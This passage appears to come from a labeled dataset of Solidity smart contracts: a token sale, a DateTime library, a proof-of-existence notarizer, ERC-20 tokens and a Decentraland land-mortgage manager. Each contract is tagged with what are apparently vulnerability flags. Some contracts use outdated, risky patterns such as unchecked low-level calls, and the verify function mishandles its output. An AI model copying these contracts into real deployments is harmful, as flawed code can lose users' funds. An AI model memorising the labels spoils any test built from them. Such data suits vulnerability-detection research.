if((msg.value * getExchangeRate()) > (tokenCreationCap - totalTokens)) throw;
var numTokens = msg.value * getExchangeRate();
totalTokens += numTokens;
if(getExchangeRate()!=15000){
soldAfterPowerHour += numTokens;
}
balances[msg.sender] += numTokens;
balancesEther[msg.sender] += msg.value;
totalParticipants+=1;
Transfer(0, msg.sender, numTokens);
}
function finalize() external {
if(!funding) throw;
if((block.timestamp <= fundingEnd ||
totalTokens < tokenCreationMin) &&
(totalTokens+5000000000000000000000) < tokenCreationCap) throw;
funding = false;
uint256 percentOfTotal = 12;
uint256 additionalTokens = totalTokens * percentOfTotal / (100 - percentOfTotal);
totalTokens += additionalTokens;
balances[master] += additionalTokens;
Transfer(0, master, additionalTokens);
if (!master.send(this.balance)) throw;
}
function refund() external {
if(!funding) throw;
if(block.timestamp <= fundingEnd) throw;
if(totalTokens >= tokenCreationMin) throw;
var lncValue = balances[msg.sender];
var ethValue = balancesEther[msg.sender];
if (lncValue == 0) throw;
balances[msg.sender] = 0;
balancesEther[msg.sender] = 0;
totalTokens -= lncValue;
Refund(msg.sender, ethValue);
if (!msg.sender.send(ethValue)) throw;
}
function transferFrom(address _from,address _to,uint256 _amount) returns (bool success) {
if(funding) throw;
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
if(funding) throw;
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
| 0 | 1,214 |
pragma solidity ^0.4.2;
contract DateTime {
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) constant returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) constant returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) constant returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
dt.hour = getHour(timestamp);
dt.minute = getMinute(timestamp);
dt.second = getSecond(timestamp);
dt.weekday = getWeekday(timestamp);
}
function getYear(uint timestamp) constant returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) constant returns (uint8) {
return uint8(timestamp % 60);
}
function getWeekday(uint timestamp) constant returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) {
uint16 i;
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
timestamp += DAY_IN_SECONDS * (day - 1);
timestamp += HOUR_IN_SECONDS * (hour);
timestamp += MINUTE_IN_SECONDS * (minute);
timestamp += second;
return timestamp;
}
}
contract ProofOfExistence {
function uintToBytes(uint v) constant returns (bytes32 ret) {
if (v == 0) {
ret = '0';
}
else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function bytes32ToString(uint16 x) constant returns (string) {
bytes32 a = uintToBytes(x);
return bytes32ToString(a);
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
mapping (string => uint) private proofs;
function notarize(string sha256) {
if ( bytes(sha256).length == 64 ){
if ( proofs[sha256] == 0 ){
proofs[sha256] = block.timestamp;
}
}
}
function verify(string sha256) constant returns (string) {
var timestamp = proofs[sha256];
if ( timestamp == 0 ){
return "No data found";
}else{
DateTime dt = DateTime(msg.sender);
uint16 year = dt.getYear(timestamp);
uint16 month = dt.getMonth(timestamp);
uint16 day = dt.getDay(timestamp);
uint16 hour = dt.getHour(timestamp);
uint16 minute = dt.getMinute(timestamp);
uint16 second = dt.getSecond(timestamp);
string memory result = strConcat(bytes32ToString(year) , "-" , bytes32ToString(month),"-",bytes32ToString(day));
result = strConcat(result," ");
result = strConcat( bytes32ToString(hour) , ":" , bytes32ToString(minute),":",bytes32ToString(second));
result = strConcat(result," UTC");
return result;
}
}
}
| 0 | 504 |
pragma solidity ^0.5.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract VTCoin {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (uint256 value) public {
_name = "ValueTank Coin";
_symbol = "VTC";
_decimals = 2;
_balances[msg.sender] = value;
_totalSupply = value;
emit Transfer(address(0), msg.sender, value);
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
}
| 1 | 4,378 |
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract HumanStandardToken is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
function HumanStandardToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
}
| 1 | 2,395 |
pragma solidity ^0.4.24;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Ownable {
address public owner;
event SetOwner(address _owner);
modifier onlyOwner() {
require(msg.sender == owner, "Sender not owner");
_;
}
constructor() public {
owner = msg.sender;
emit SetOwner(msg.sender);
}
function setOwner(address _to) external onlyOwner returns (bool) {
require(_to != address(0), "Owner can't be 0x0");
owner = _to;
emit SetOwner(_to);
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32);
assembly {
o := mload(add(currency, 32))
}
}
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
function identifierToIndex(bytes32 signature) public view returns (uint256);
}
contract Cosigner {
uint256 public constant VERSION = 2;
function url() public view returns (string);
function cost(address engine, uint256 index, bytes data, bytes oracleData) public view returns (uint256);
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
function claim(address engine, uint256 index, bytes oracleData) external returns (bool);
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y), "Add overflow");
return z;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256) {
require(x >= y, "Sub underflow");
uint256 z = x - y;
return z;
}
function mult(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y), "Mult overflow");
return z;
}
}
contract ERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff, "Can't register 0xffffffff");
_supportedInterfaces[interfaceId] = true;
}
}
interface URIProvider {
function tokenURI(uint256 _tokenId) external view returns (string);
}
contract ERC721Base is ERC165 {
using SafeMath for uint256;
mapping(uint256 => address) private _holderOf;
mapping(address => uint256[]) private _assetsOf;
mapping(address => mapping(address => bool)) private _operators;
mapping(uint256 => address) private _approval;
mapping(uint256 => uint256) private _indexOfAsset;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
bytes4 private constant ERC721_RECEIVED_LEGACY = 0xf0b9e5ba;
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
bytes4 private constant ERC_721_INTERFACE = 0x80ac58cd;
bytes4 private constant ERC_721_METADATA_INTERFACE = 0x5b5e139f;
bytes4 private constant ERC_721_ENUMERATION_INTERFACE = 0x780e9d63;
constructor(
string name,
string symbol
) public {
_name = name;
_symbol = symbol;
_registerInterface(ERC_721_INTERFACE);
_registerInterface(ERC_721_METADATA_INTERFACE);
_registerInterface(ERC_721_ENUMERATION_INTERFACE);
}
event SetURIProvider(address _uriProvider);
string private _name;
string private _symbol;
URIProvider private _uriProvider;
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 _tokenId) external view returns (string) {
require(_holderOf[_tokenId] != 0, "Asset does not exist");
URIProvider provider = _uriProvider;
return provider == address(0) ? "" : provider.tokenURI(_tokenId);
}
function _setURIProvider(URIProvider _provider) internal returns (bool) {
emit SetURIProvider(_provider);
_uriProvider = _provider;
return true;
}
uint256[] private _allTokens;
function allTokens() external view returns (uint256[]) {
return _allTokens;
}
function assetsOf(address _owner) external view returns (uint256[]) {
return _assetsOf[_owner];
}
function totalSupply() external view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < _allTokens.length, "Index out of bounds");
return _allTokens[_index];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_owner != address(0), "0x0 Is not a valid owner");
require(_index < _balanceOf(_owner), "Index out of bounds");
return _assetsOf[_owner][_index];
}
function ownerOf(uint256 _assetId) external view returns (address) {
return _ownerOf(_assetId);
}
function _ownerOf(uint256 _assetId) internal view returns (address) {
return _holderOf[_assetId];
}
function balanceOf(address _owner) external view returns (uint256) {
return _balanceOf(_owner);
}
function _balanceOf(address _owner) internal view returns (uint256) {
return _assetsOf[_owner].length;
}
function isApprovedForAll(
address _operator,
address _assetHolder
) external view returns (bool) {
return _isApprovedForAll(_operator, _assetHolder);
}
function _isApprovedForAll(
address _operator,
address _assetHolder
) internal view returns (bool) {
return _operators[_assetHolder][_operator];
}
function getApprovedAddress(uint256 _assetId) external view returns (address) {
return _getApprovedAddress(_assetId);
}
function _getApprovedAddress(uint256 _assetId) internal view returns (address) {
return _approval[_assetId];
}
function isAuthorized(address _operator, uint256 _assetId) external view returns (bool) {
return _isAuthorized(_operator, _assetId);
}
function _isAuthorized(address _operator, uint256 _assetId) internal view returns (bool) {
require(_operator != 0, "0x0 is an invalid operator");
address owner = _ownerOf(_assetId);
if (_operator == owner) {
return true;
}
return _isApprovedForAll(_operator, owner) || _getApprovedAddress(_assetId) == _operator;
}
function setApprovalForAll(address _operator, bool _authorized) external {
if (_operators[msg.sender][_operator] != _authorized) {
_operators[msg.sender][_operator] = _authorized;
emit ApprovalForAll(_operator, msg.sender, _authorized);
}
}
function approve(address _operator, uint256 _assetId) external {
address holder = _ownerOf(_assetId);
require(msg.sender == holder || _isApprovedForAll(msg.sender, holder), "msg.sender can't approve");
if (_getApprovedAddress(_assetId) != _operator) {
_approval[_assetId] = _operator;
emit Approval(holder, _operator, _assetId);
}
}
function _addAssetTo(address _to, uint256 _assetId) internal {
_holderOf[_assetId] = _to;
uint256 length = _balanceOf(_to);
_assetsOf[_to].push(_assetId);
_indexOfAsset[_assetId] = length;
_allTokens.push(_assetId);
}
function _transferAsset(address _from, address _to, uint256 _assetId) internal {
uint256 assetIndex = _indexOfAsset[_assetId];
uint256 lastAssetIndex = _balanceOf(_from).sub(1);
if (assetIndex != lastAssetIndex) {
uint256 lastAssetId = _assetsOf[_from][lastAssetIndex];
_assetsOf[_from][assetIndex] = lastAssetId;
}
_assetsOf[_from][lastAssetIndex] = 0;
_assetsOf[_from].length--;
_holderOf[_assetId] = _to;
uint256 length = _balanceOf(_to);
_assetsOf[_to].push(_assetId);
_indexOfAsset[_assetId] = length;
}
function _clearApproval(address _holder, uint256 _assetId) internal {
if (_approval[_assetId] != 0) {
_approval[_assetId] = 0;
emit Approval(_holder, 0, _assetId);
}
}
function _generate(uint256 _assetId, address _beneficiary) internal {
require(_holderOf[_assetId] == 0, "Asset already exists");
_addAssetTo(_beneficiary, _assetId);
emit Transfer(0x0, _beneficiary, _assetId);
}
modifier onlyHolder(uint256 _assetId) {
require(_ownerOf(_assetId) == msg.sender, "msg.sender Is not holder");
_;
}
modifier onlyAuthorized(uint256 _assetId) {
require(_isAuthorized(msg.sender, _assetId), "msg.sender Not authorized");
_;
}
modifier isCurrentOwner(address _from, uint256 _assetId) {
require(_ownerOf(_assetId) == _from, "Not current owner");
_;
}
modifier addressDefined(address _target) {
require(_target != address(0), "Target can't be 0x0");
_;
}
function safeTransferFrom(address _from, address _to, uint256 _assetId) external {
return _doTransferFrom(_from, _to, _assetId, "", true);
}
function safeTransferFrom(address _from, address _to, uint256 _assetId, bytes _userData) external {
return _doTransferFrom(_from, _to, _assetId, _userData, true);
}
function transferFrom(address _from, address _to, uint256 _assetId) external {
return _doTransferFrom(_from, _to, _assetId, "", false);
}
function _doTransferFrom(
address _from,
address _to,
uint256 _assetId,
bytes _userData,
bool _doCheck
)
internal
onlyAuthorized(_assetId)
addressDefined(_to)
isCurrentOwner(_from, _assetId)
{
address holder = _holderOf[_assetId];
_clearApproval(holder, _assetId);
_transferAsset(holder, _to, _assetId);
if (_doCheck && _isContract(_to)) {
uint256 success;
bytes32 result;
(success, result) = _noThrowCall(
_to,
abi.encodeWithSelector(
ERC721_RECEIVED,
msg.sender,
holder,
_assetId,
_userData
)
);
if (success != 1 || result != ERC721_RECEIVED) {
(success, result) = _noThrowCall(
_to,
abi.encodeWithSelector(
ERC721_RECEIVED_LEGACY,
holder,
_assetId,
_userData
)
);
require(
success == 1 && result == ERC721_RECEIVED_LEGACY,
"Contract rejected the token"
);
}
}
emit Transfer(holder, _to, _assetId);
}
function _isContract(address _addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
function _noThrowCall(
address _contract,
bytes _data
) internal returns (uint256 success, bytes32 result) {
assembly {
let x := mload(0x40)
success := call(
gas,
_contract,
0,
add(0x20, _data),
mload(_data),
x,
0x20
)
result := mload(x)
}
}
}
contract SafeWithdraw is Ownable {
function withdrawTokens(Token token, address to, uint256 amount) external onlyOwner returns (bool) {
require(to != address(0), "Can't transfer to address 0x0");
return token.transfer(to, amount);
}
function withdrawErc721(ERC721Base token, address to, uint256 id) external onlyOwner returns (bool) {
require(to != address(0), "Can't transfer to address 0x0");
token.transferFrom(this, to, id);
}
function withdrawEth(address to, uint256 amount) external onlyOwner returns (bool) {
to.transfer(amount);
return true;
}
}
contract BytesUtils {
function readBytes32(bytes data, uint256 index) internal pure returns (bytes32 o) {
require(data.length / 32 > index);
assembly {
o := mload(add(data, add(32, mul(32, index))))
}
}
}
contract TokenConverter {
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount);
function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount);
}
contract LandMarket {
struct Auction {
bytes32 id;
address seller;
uint256 price;
uint256 expiresAt;
}
mapping (uint256 => Auction) public auctionByAssetId;
function executeOrder(uint256 assetId, uint256 price) public;
}
contract Land is ERC721 {
function updateLandData(int x, int y, string data) public;
function decodeTokenId(uint value) view public returns (int, int);
function safeTransferFrom(address from, address to, uint256 assetId) public;
function ownerOf(uint256 landID) public view returns (address);
function setUpdateOperator(uint256 assetId, address operator) external;
}
contract MortgageManager is Cosigner, ERC721Base, SafeWithdraw, BytesUtils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal RCN_DECIMALS = 18;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
uint256 public constant REQUIRED_ALLOWANCE = 1000000000 * 10**18;
event RequestedMortgage(
uint256 _id,
address _borrower,
address _engine,
uint256 _loanId,
address _landMarket,
uint256 _landId,
uint256 _deposit,
address _tokenConverter
);
event ReadedOracle(
address _oracle,
bytes32 _currency,
uint256 _decimals,
uint256 _rate
);
event StartedMortgage(uint256 _id);
event CanceledMortgage(address _from, uint256 _id);
event PaidMortgage(address _from, uint256 _id);
event DefaultedMortgage(uint256 _id);
event UpdatedLandData(address _updater, uint256 _parcel, string _data);
event SetCreator(address _creator, bool _status);
event SetEngine(address _engine, bool _status);
Token public rcn;
Token public mana;
Land public land;
constructor(
Token _rcn,
Token _mana,
Land _land
) public ERC721Base("Decentraland RCN Mortgage", "LAND-RCN-M") {
rcn = _rcn;
mana = _mana;
land = _land;
mortgages.length++;
}
enum Status { Pending, Ongoing, Canceled, Paid, Defaulted }
struct Mortgage {
LandMarket landMarket;
address owner;
Engine engine;
uint256 loanId;
uint256 deposit;
uint256 landId;
uint256 landCost;
Status status;
TokenConverter tokenConverter;
}
uint256 internal flagReceiveLand;
Mortgage[] public mortgages;
mapping(address => bool) public creators;
mapping(address => bool) public engines;
mapping(uint256 => uint256) public mortgageByLandId;
mapping(address => mapping(uint256 => uint256)) public loanToLiability;
function url() public view returns (string) {
return "";
}
function setEngine(address engine, bool authorized) external onlyOwner returns (bool) {
emit SetEngine(engine, authorized);
engines[engine] = authorized;
return true;
}
function setURIProvider(URIProvider _provider) external onlyOwner returns (bool) {
return _setURIProvider(_provider);
}
function setCreator(address creator, bool authorized) external onlyOwner returns (bool) {
emit SetCreator(creator, authorized);
creators[creator] = authorized;
return true;
}
function cost(address, uint256, bytes, bytes) public view returns (uint256) {
return 0;
}
function requestMortgage(
Engine engine,
bytes32 loanIdentifier,
uint256 deposit,
LandMarket landMarket,
uint256 landId,
TokenConverter tokenConverter
) external returns (uint256 id) {
return requestMortgageId(engine, landMarket, engine.identifierToIndex(loanIdentifier), deposit, landId, tokenConverter);
}
function requestMortgageId(
Engine engine,
LandMarket landMarket,
uint256 loanId,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) public returns (uint256 id) {
require(engine.getCurrency(loanId) == MANA_CURRENCY, "Loan currency is not MANA");
address borrower = engine.getBorrower(loanId);
require(engines[engine], "Engine not authorized");
require(engine.getStatus(loanId) == Engine.Status.initial, "Loan status is not inital");
require(
msg.sender == borrower || (msg.sender == engine.getCreator(loanId) && creators[msg.sender]),
"Creator should be borrower or authorized"
);
require(engine.isApproved(loanId), "Loan is not approved");
require(rcn.allowance(borrower, this) >= REQUIRED_ALLOWANCE, "Manager cannot handle borrower's funds");
require(tokenConverter != address(0), "Token converter not defined");
require(loanToLiability[engine][loanId] == 0, "Liability for loan already exists");
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 loanAmount = engine.getAmount(loanId);
require(loanAmount + deposit >= landCost, "Not enought total amount");
require(mana.transferFrom(msg.sender, this, deposit), "Error pulling mana");
id = mortgages.push(Mortgage({
owner: borrower,
engine: engine,
loanId: loanId,
deposit: deposit,
landMarket: landMarket,
landId: landId,
landCost: landCost,
status: Status.Pending,
tokenConverter: tokenConverter
})) - 1;
loanToLiability[engine][loanId] = id;
emit RequestedMortgage({
_id: id,
_borrower: borrower,
_engine: engine,
_loanId: loanId,
_landMarket: landMarket,
_landId: landId,
_deposit: deposit,
_tokenConverter: tokenConverter
});
}
function cancelMortgage(uint256 id) external returns (bool) {
Mortgage storage mortgage = mortgages[id];
require(msg.sender == mortgage.owner, "Only the owner can cancel the mortgage");
require(mortgage.status == Status.Pending, "The mortgage is not pending");
mortgage.status = Status.Canceled;
require(mana.transfer(msg.sender, mortgage.deposit), "Error returning MANA");
emit CanceledMortgage(msg.sender, id);
return true;
}
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool) {
Mortgage storage mortgage = mortgages[uint256(readBytes32(data, 0))];
require(mortgage.engine == engine, "Engine does not match");
require(mortgage.loanId == index, "Loan id does not match");
require(mortgage.status == Status.Pending, "Mortgage is not pending");
require(engines[engine], "Engine not authorized");
mortgage.status = Status.Ongoing;
_generate(uint256(readBytes32(data, 0)), mortgage.owner);
uint256 loanAmount = convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, engine.getAmount(index));
